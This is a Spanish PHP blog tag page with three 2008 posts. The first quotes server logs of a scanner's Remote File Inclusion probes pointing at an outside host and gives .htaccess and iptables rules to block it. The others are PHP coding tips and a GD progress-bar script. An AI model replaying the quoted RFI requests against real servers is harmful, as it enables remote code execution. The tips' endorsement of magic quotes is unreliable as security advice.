Posts Tagged ‘PHP’

Seguridad: protegete de espías 2

Tuesday, April 22nd, 2008

En el post anterior hablaba de intrusos que buscan detectar vulnerabilidades de algunos scripts.

Bueno pues veo que cada vez hay un mayor número de estas “herramientas” (para kiddies) que no hacen otra cosa que hacernos perder el tiempo.

Voy a dedicar una sección en este blog para hablar acerca de estas herramientas, pero primero, lo primero.

217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_forum/download.php?phpbb_root_path?=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 310 “-” “Morfeus Fucking Scanner”
217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_smf/smf.php?mosConfig_absolute_path=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 303 “-” “Morfeus Fucking Scanner”
217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_forum/download.php?phpbb_root_path?=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 310 “-” “Morfeus Fucking Scanner”
217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_smf/smf.php?mosConfig_absolute_path=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 303 “-” “Morfeus Fucking Scanner”
217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_forum/download.php?phpbb_root_path?=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 310 “-” “Morfeus Fucking Scanner”
217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_smf/smf.php?mosConfig_absolute_path=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 303 “-” “Morfeus Fucking Scanner”

Como podrán ver en esos logs, hacen peticiones hacia archivos específicos. Por el nombre de los directorios se puede deducir claramente que los directorios que buscan pertenecen a la estructura de el CMS Joomla.

Deben de usar un scanner de ips, por que ni siquiera se tomaron la molestia de verificar si en este servidor hay Joomla instalado (no, no hay, ni lo habrá).

Algunos blogs recomiendan bannear ese user-agent “Morfeus Fucking Scanner”, lo cual si serviría temporalmente, ya que cambiando el user-agent del scanner se soluciona el asunto.

Para bloquear ese scanner por medio de su user-agent basta con agregar esto al .htaccess

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^Morfeus
RewriteRule ^.*$ - [F]

Con estas líneas se le denegaría el acceso al user-agent, pero no a la ip.

Otros recomiendan devolverles el favor a los espías con estas líneas
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (^Morfeus) [NC]
RewriteRule .* http://%{REMOTE_ADDR} [r=301,l]

Con las líneas anteriores se hace un forwarding a la misma ip de donde proviene el ataque. Pero al igual que con el código anterior, solo se le denegará el acceso al user-agent y no a la ip.

Yo recomiendo agregar reglas para banear las ips.
iptables -A INPUT -s LAIP -j DROP

Pero si no tenemos acceso a las iptables, también podremos bannear a los espías mediante el archivo .htaccess de la siguiente manera:

#Morfeus Fucking Hacker
deny from 217.118.2.160

Se que es algo molesto andar editando el archivo cada vez que un nuevo espía se acerque a nosotros, pero es mejor que podemos hacer sino tenemos acceso para bannear desde iptables.

¿Pero que ganan exactamente los espías al encontrar lo que buscan?

Bueno pues pongamos atención a la siguiente línea:

217.118.2.160 – - [20/Apr/2008:18:03:37 -0500] “GET /components/com_forum/download.php?phpbb_root_path?=http://dwlz2.dwlz2.com/~dwlz2/ice.txt/ HTTP/1.1″ 404 310 “-” “Morfeus Fucking Scanner”

Lo que buscan hacer se llama RFI (Remote File Inclusion) que consiste según wikipedia en:

Remote File Inclusion, traducido al español como Inclusión Remota de Archivos – vulnerabilidad existente solamente en páginas dinámicas en PHP que permite el enlace de archivos remotos situados en otros servidores a causa de una mala programación de la página que contiene la función include().

En pocas palabras ellos cuelgan un archivo en otro servidor (En este caso http://dwlz2.dwlz2.com/~dwlz2/ice.txt) que tiene código PHP que permite al atacante tomar control sobre el servidor, o al menos, usar código PHP para construir scripts para funciones específicas (spam, defaces, craking, etc). Verdaderamente es de extrema importancia cuidarnos de este tipo de ataques, ya que muchas cosas se ven comprometidas (Incluso la Base de datos).

10 consejos al programar en PHP

Saturday, April 5th, 2008

Aquí les dejo la lista de mis 10 consejos al programar en PHP (o al menos es lo que pienso que es lo más óptimo).

  1. Usa el operador ternario

    if ($a < $b) return $a;
    else return $b;

    se podria resumir en:

    return $a < $b ? $a : $b;

  2. Usar explode si no se usan expresiones regulares.

    La función explode vierte sobre un array los valores contenidos en una cadena delimitados por un separador, la función split hace lo mismo, pero evalúa las expresiones regulares.

  3. Si no hay control sobre una variable es recomendable verificar que este inicializada.

    usar isset($variable)

  4. Si hay que usar condiciones anidadas es preferible usar switch a if’s anidados

    usar switch

  5. Siempre es bueno codificar claramente, siempre con la idea de que alguien más lo va a ver, aunque no sea así, quien sabe? quizás nos ayude a nosotros mismos más adelante.

    Es importante usar nombre de variables y funciones que nos den una idea clara de contenido (variables) y su función.

  6. Usar comillas simples es mucho más rapido.

    Cuando se usan comillas dobles antes de procesar se revisa la cadena en busca de variables para devolver el valor de ellas. En comillas simples no se hace tal revisión.

  7. Datos especiales

    cuando elaboramos archivos con datos especiales (por ejemplo un config), es preferible usar constantes.
    define(’DBHOST’,'localhost’) en vez de $dbhost = ‘localhost’;

  8. Cabecera de los archivos.

    Es recomendable poner datos que identifiquen al archivo con el proyecto, ademas que es una manera rápida para añadir información que ayude a identificar el contenido del archivo.
    /**
    *
    * @Project My Web Project. @db_functions.php – Funciones para controlar la base de datos.
    * @version: 0.0001 @modificado: 1 enero 2008
    * @author: John Doe
    *
    */

  9. No escatimes en código por seguridad

    Aunque tu proyecto sea pequeño, trata de tomar todas las medidas necesarias, usar Magic Quotes es sano. Recuerda que el nivel de seguridad de un sistema, es directamente proporcional a la paranoia de su administrador.

  10. Optimiza Código

    Trata de ahorrar algunos Kbytes a tus archivos, optimiza tu código al máximo, usa expresiones regulares, recursividad, y classes.

Ninja Coder

Barras de progreso dinámicas en PHP

Thursday, March 20th, 2008

Bueno, hace unos días que empecé a jugar un poco con la librería GD y PHP, y a la hora de desarollar un sitio, mientras más recicles código es mucho mejor. En esta ocasión hice un pequeño script para crear barras de progreso dinámicas con PHP, este es un ejemplo: Barra de progreso 50% llena
La imagen que usé de fondo es esta: fondo.png<?php
/* variables del porcentaje de largo que queremos mostrar lleno y la paleta de colores en formato RGB (ej: image_bar.php?width=50&palet=0/102/53*/
$width = $_GET['width'];
$palet = $_GET['palet'];
/* verificamos la variable palet que guarda la paleta de colores y separamos los colores RGB*/
if ($palet)
{
$arr_palet = split('/',$palet);
$arraycolor[0] = array($arr_palet[0], $arr_palet[1], $arr_palet[2]);
for($i = 1; $i < 9; $i++)
{
if (($arr_palet[0] + 10) > 255) $arr_palet[0] = 255;
else $arr_palet[0] = $arr_palet[0] + 10;
if (($arr_palet[1] + 10) > 255) $arr_palet[1] = 255;
else $arr_palet[1] = $arr_palet[1] + 10;
if (($arr_palet[2] + 10) > 255) $arr_palet[2] = 255;
else $arr_palet[2] = $arr_palet[2] + 10;
$arraycolor[$i] = array($arr_palet[0], $arr_palet[1], $arr_palet[2]);
}
}
$data = ($width * 48 / 100);
$data = round($data);
/* Crear imagen a partir de otra*/
$background = @imagecreatefrompng ('fondo.png');
if ($data > 1)
{
$fill1 = imagecreatetruecolor($data,1);
$fill2 = imagecreatetruecolor($data,1);
$fill3 = imagecreatetruecolor($data,1);
$fill4 = imagecreatetruecolor($data,1);
$fill5 = imagecreatetruecolor($data,1);
$fill6 = imagecreatetruecolor($data,1);
$fill7 = imagecreatetruecolor($data,1);
$fill8 = imagecreatetruecolor($data,1);
$fill9 = imagecreatetruecolor($data,1);
$colors = array(
array(
array('62','125','179'), array('72','133','184'), array('82','140','190'),
array('93','149','195'), array('103','157','200'), array('114','165','206'),
array('127','174','211'), array('135','182','216'), array('190','190','221')
),
array(
array('181','59','59'), array('189','69','69'), array('191','80','80'),
array('197','90','90'), array('202','101','101'), array('208','111','111'),
array('213','121','121'), array('218','132','132'), array('223','142','142')
),
array(
array('10','60','70'), array('20','70','80'), array('30','80','90'),
array('40','90','100'), array('50','101','110'), array('60','111','120'),
array('70','121','130'), array('80','132','140'), array('90','142','150')
),
$arraycolor
);
/* creamos los colores a usar */
$c1 = imagecolorallocate($fill1, $colors[$color][0][0], $colors[$color][0][1], $colors[$color][0][2]); //Background
$c2 = imagecolorallocate($fill2, $colors[$color][1][0], $colors[$color][1][1], $colors[$color][1][2]); //Background
$c3 = imagecolorallocate($fill3, $colors[$color][2][0], $colors[$color][2][1], $colors[$color][2][2]); //Background
$c4 = imagecolorallocate($fill4, $colors[$color][3][0], $colors[$color][3][1], $colors[$color][3][2]); //Background
$c5 = imagecolorallocate($fill5, $colors[$color][4][0], $colors[$color][4][1], $colors[$color][4][2]); //Background
$c6 = imagecolorallocate($fill6, $colors[$color][5][0], $colors[$color][5][1], $colors[$color][5][2]); //Background
$c7 = imagecolorallocate($fill7, $colors[$color][6][0], $colors[$color][6][1], $colors[$color][6][2]); //Background
$c8 = imagecolorallocate($fill8, $colors[$color][7][0], $colors[$color][7][1], $colors[$color][7][2]); //Background
$c9 = imagecolorallocate($fill9, $colors[$color][8][0], $colors[$color][8][1], $colors[$color][8][2]); //Background
/* formamos el degradado */
imagefilledrectangle($fill1, 0, 0, $data, 1, $c1);
imagefilledrectangle($fill2, 0, 0, $data, 1, $c2);
imagefilledrectangle($fill3, 0, 0, $data, 1, $c3);
imagefilledrectangle($fill4, 0, 0, $data, 1, $c4);
imagefilledrectangle($fill5, 0, 0, $data, 1, $c5);
imagefilledrectangle($fill6, 0, 0, $data, 1, $c6);
imagefilledrectangle($fill7, 0, 0, $data, 1, $c7);
imagefilledrectangle($fill8, 0, 0, $data, 1, $c8);
imagefilledrectangle($fill9, 0, 0, $data, 1, $c9);
/* formamos la barra de progreso*/
imagecopy($background,$fill1,1,9,0,0,$data,1);
imagecopy($background,$fill2,1,8,0,0,$data,1);
imagecopy($background,$fill3,1,7,0,0,$data,1);
imagecopy($background,$fill4,1,6,0,0,$data,1);
imagecopy($background,$fill5,1,5,0,0,$data,1);
imagecopy($background,$fill6,1,4,0,0,$data,1);
imagecopy($background,$fill7,1,3,0,0,$data,1);
imagecopy($background,$fill8,1,2,0,0,$data,1);
imagecopy($background,$fill9,1,1,0,0,$data,1);
}
/* mandamos las cabeceras, el archivo es una imagen*/
header("Content-type: image/png");
/* mandamos la imagen */
imagepng($background);
?>

Modo de uso:
image_bar.php?width=porcentaje&palet=R/G/B